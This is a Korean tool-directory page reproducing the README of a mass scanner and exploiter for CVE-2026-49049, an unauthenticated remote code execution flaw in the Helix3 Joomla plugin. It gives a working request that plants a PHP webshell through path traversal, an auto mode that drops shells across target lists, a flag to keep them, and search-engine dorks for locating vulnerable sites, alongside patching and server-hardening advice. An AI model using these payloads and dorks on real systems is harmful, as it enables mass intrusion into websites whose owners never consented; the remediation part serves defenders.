Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-49049 — CVE-2026-49049 Helix3 (JoomShaper) Joomla 인증되지 않은 AJAX RCE 스캐너 | Kitploit
도구/GitHubGitHub/exdev994/cve-2026-49049
ReconnaissanceVulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubexdev994/cve-2026-49049

CVE-2026-49049

CVE-2026-49049 Helix3 (JoomShaper) Joomla 인증되지 않은 AJAX RCE 스캐너

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-49049 — Helix3 (JoomShaper) Joomla 인증되지 않은 AJAX RCE 스캐너

CVE CVSS Python License Author

CVE-2026-49049에 대한 대량 스캐너/검증기: Joomla용 Helix3 Framework 플러그인의 인증되지 않은 AJAX 핸들러 (v1.0 – 3.1.0, **3.1.1+**에서 패치됨).

승인된 테스트 전용입니다. 소유한 시스템 또는 테스트에 대한 서면 허가를 받은 시스템에서만 사용하세요.


목차

  • 취약점 개요
  • RCE 체인
  • 설치
  • 사용 방법
  • 예시 출력
  • 정찰 도크
  • 수정 방법
  • 프로젝트 구조
  • 기여
  • 참조
  • 면책 조항

취약점 개요

Joomla com_ajax를 통해 인증 없이 / CSRF 토큰 없이 plugins/ajax/helix3/helix3.php의 Handler onAjaxHelix3()에 접근 가능합니다:

root@kitploit:~
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded

data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>

RCE 체인

실제 활발한 대량 악용은 종종 이중 확장자 웹쉘을 드롭합니다:

  1. Helix3 + 버전 < 3.1.1 탐지
  2. save에 layoutName=../../up.php + PHP 웹쉘 콘텐츠 사용
  3. 저장 시 .json이 추가되어 up.php.json이 웹 루트에 생성됨
  4. Apache AddHandler 다중 확장자가 .php 토큰을 실행
  5. GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OK
root@kitploit:~
Detect Helix3
    → POST com_ajax?plugin=helix3 (action=save, traversal)
    → up.php.json written
    → GET up.php.json?cmd=id
    → uid=33(www-data)

설치

root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

요구 사항: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.


사용 방법

1. 대상 준비

targets.txt 편집 — 한 줄에 URL / 호스트 하나씩 (# = 주석). Joomla 경로 유지됨:

root@kitploit:~
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/

2. 읽기 전용 스캔 (탐지만)

웹쉘을 드롭하지 않음. 버전 확인 + save / remove / import 프로브:

root@kitploit:~
python3 scan.py -f targets.txt --scan -o results.txt

3. 자동: 탐지 + 웹쉘 드롭 + RCE 확인

root@kitploit:~
python3 scan.py -f targets.txt --auto -c "id" -o results.txt

4. 단일 대상

root@kitploit:~
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"

5. 고급 옵션

root@kitploit:~
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep

# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
  --webshell-name up.php \
  --traversal-depths "../../,../../../"

# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
  --threads 20 --timeout 15 \
  -o results.txt --json report.json

# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080

중요 플래그

경고: --auto 모드는 경로 탐색을 통해 웹쉘을 쓰려고 시도합니다. 기본값: 확인 후 웹쉘이 삭제됩니다. --keep은 승인된 데모에서만 사용하세요.


예시 출력

터미널은 모든 상태(진행 상황)를 표시합니다. results.txt에는 취약한 대상만 포함됩니다:

root@kitploit:~
[v] CVE-2026-49049 SHELL OK  https://target.tld  Helix3 2.5.6  save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
    shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell)         https://target.tld  Helix3 3.0.2  save=Y remove=Y import=Y

다른 레이블 (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN)은 터미널에만 표시되며, results.txt에 포함되지 않습니다.


정찰 도크

아래 도크를 사용하여 잠재적으로 영향을 받는 Helix3 / Joomla 자산을 찾으세요. 허가된 대상만 스캔하세요.

Google

root@kitploit:~
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/

Shodan

root@kitploit:~
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"

FOFA

root@kitploit:~
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"

수동 지문 식별 (호스트 획득 후)

root@kitploit:~
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version

# Unauth save probe (authorized only)
curl -sk -X POST \
  'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

수정 방법

1. 즉시 패치 (필수)

System – Helix3 Framework 및 Helix3 – Ajax 플러그인을 3.1.1 이상(3.1.2 권장)으로 업데이트하세요.

  • Joomla 백엔드 → System → Update / Extensions
  • 또는 JoomShaper에서 공식 패키지를 다운로드하여 수동 설치

2. 이미 손상/훼손된 경우

업데이트는 데이터베이스에 이미 들어간 페이로드를 정리하지 않습니다.

  1. 백엔드 → Site Template Styles → 활성 Helix3 템플릿
  2. Custom Code 열기 — Custom JavaScript / CSS / Before Head에서 외부 스크립트 제거
  3. #__template_styles 테이블의 params 열에서 주입된 custom_js / custom_css 확인
  4. 웹 루트 / templates / tmp / media에서 의심스러운 파일 삭제:
    • up.php.json, cox.json, *.php.json, 기타 웹쉘
  5. 관리자 자격 증명 교체, 사용자 계정 검토, cron/예약 작업 감사

일반적인 손상 증상: 훼손 "Hacked by AntonKill" / "trenggalek6etar", custom_js 주입, 알 수 없는 JSON 파일.

3. 강화 (심층 방어)

Apache — 다중 확장자 AddHandler를 사용하지 말고 다음을 사용하세요:

root@kitploit:~
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

Nginx:

root@kitploit:~
location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass unix:/run/php/php-fpm.sock;
}

PHP php.ini:

root@kitploit:~
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec

업로드 / 파일 쓰기: 파일 이름 재생성, 다중 점 확장자 거부, 공개 디렉토리에서 AllowOverride None 설정.

4. 패치 후 확인

root@kitploit:~
python3 scan.py -t https://YOUR-SITE/ --scan
# 예상: PATCHED  Helix3 3.1.1+  (또는 플러그인이 제거된 경우 NOT_HELIX3)

프로젝트 구조

root@kitploit:~
CVE-2026-49049/
├── scan.py              # CLI entry point
├── core/
│   ├── engine.py        # ThreadPoolExecutor + results (vuln-only to file)
│   ├── probe.py         # Helix3 detect + save/remove/import + RCE drop
│   └── target.py        # Parse / normalize targets.txt
├── utils/
│   └── banner.py
├── targets.txt          # Input targets
├── results.txt          # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md

기여

커뮤니티의 기여를 환영합니다. 관리자: ExDev994.

지침

  • 라이브 대상 / 스캔 결과 / 웹쉘 / 자격 증명을 커밋하지 마세요
  • “승인된 테스트 전용” 경고를 줄이지 마세요
  • 작은 PR 선호 (PR당 하나의 주제)
  • 기존 Python 스타일 준수 (from __future__ import annotations, 타입 힌트)
  • 로컬 테스트: python3 -m py_compile scan.py core/*.py utils/*.py 및 python3 scan.py --help

이슈

버그/기능 요청은 Issues에 보고하세요. 포함 사항:

  • Python 및 OS 버전
  • 실행한 명령어
  • 출력/트레이스백 (민감한 대상은 가림)

기여자

기여자역할
ExDev994작성자/관리자

취약점은 원래 Phil Taylor(mySites.guru)가 보고했습니다. 이 저장소는 독립적인 스캐너 구현이며 JoomShaper 또는 Open Source Matters와 제휴되지 않았습니다.


참조

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49049
  • Advisory (mySites.guru): https://mysites.guru/blog/helix3-security-update-changelog-failure/
  • JoomShaper Helix3: https://www.joomshaper.com/
  • Read-only PoC reference: https://github.com/shinthink/CVE-2026-49049
  • This repo: https://github.com/ExDev994/CVE-2026-49049

면책 조항

이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다.

컴퓨터 시스템에 대한 무단 접근은 불법이며 인도네시아 UU ITE, 미국 CFAA 및 기타 관할권의 동등한 법률을 위반할 수 있습니다.

저자(ExDev994)는 오용에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 자신의 행동에 대한 전적인 책임을 수락합니다. --auto 모드는 임시 웹쉘을 드롭합니다 — 승인된 대상에서만 사용하세요.

도구 다운로드
작업영향버전
save임의 JSON 파일 쓰기 + 경로 탐색1.0 – 3.1.0
remove임의 파일 삭제 (확장자/경로 제한 없음)1.0 – 3.1.0
importDB의 템플릿 매개변수 덮어쓰기 (custom_js 이스케이프되지 않음 → XSS/훼손)v3.x 전용
Helix3 버전save / removeimport상태
1.0 – 2.x취약없음취약
3.0 – 3.1.0취약취약취약
3.1.1+패치됨패치됨안전
플래그설명
-f / --file대상 파일 목록 (기본값: targets.txt (-t가 없을 경우))
-t / --target단일 대상 URL
--scan읽기 전용 탐지
--auto탐지 + RCE 확인 (기본값)
-c / --cmd확인 명령어 (기본값: id)
-o / --output결과 파일 — 취약 / SHELL_OK 대상만
--json구조화된 JSON 보고서
--keep확인 후 웹쉘 자동 제거 안 함
--threads동시 작업 수 (기본값: 15)
--timeoutHTTP 타임아웃 초 (기본값: 15)